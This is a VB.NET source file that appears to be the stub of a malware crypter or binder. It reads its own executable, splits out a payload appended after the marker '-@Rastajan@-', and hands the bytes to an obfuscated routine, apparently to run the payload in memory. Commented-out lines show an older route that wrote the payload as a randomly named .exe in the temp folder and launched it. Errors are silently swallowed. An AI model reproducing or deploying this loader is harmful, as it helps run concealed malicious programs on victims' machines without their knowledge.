Module Modul1

    Sub Main()
        Try

            Dim DateiSplitt() As String
            Dim SplittString As String = "-@Rastajan@-"
            Dim Stubbuff As String
            Dim TPath As String = System.IO.Path.GetTempPath
            FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
            Stubbuff = Space(LOF(1))
            FileGet(1, Stubbuff)
            FileClose(1)

            DateiSplitt = Split(Stubbuff, SplittString)
            Dim Bounden1 As String = DateiSplitt(1)

            Dim rndmfile As String = randomstring()
            'FileOpen(2, TPath & "\" & rndmfile & ".exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
            'FilePut(2, (Bounden1))
            'FileClose(2)
            'System.Diagnostics.Process.Start(TPath & "\" & rndmfile & ".exe")
            Dim file As String = (IO.Path.GetFileName(Application.ExecutablePath))
            Dim blub As Byte() = TextStringToByteArray(Bounden1)
            fIqZtPtsQaRmDdYXD.HbjtFYuWgAnkjlwnn(blub, Application.ExecutablePath & file)

        Catch ex As Exception
        End Try
        End
    End Sub
    Public Function TextStringToByteArray(ByRef str As String) As Byte()
        Dim enc As System.Text.Encoding = System.Text.Encoding.Default

        Return enc.GetBytes(str)
    End Function


    Public Function randomstring() As Object

        Dim intRnd As Object
        Dim intStep As Object
        Dim strName As Object
        Dim intNameLength As Object
        Dim intLength As Object

        Dim strInputString As Object

        strInputString = "1234567890abcdefghijklmnopqrstuvwxyz"


        intLength = Len(strInputString)

        intNameLength = 50
        Randomize()

        strName = ""

        For intStep = 1 To intNameLength

            intRnd = Int((intLength * Rnd()) + 1)

            strName = strName & Mid(strInputString, intRnd, 1)
        Next

        randomstring = strName
    End Function

End Module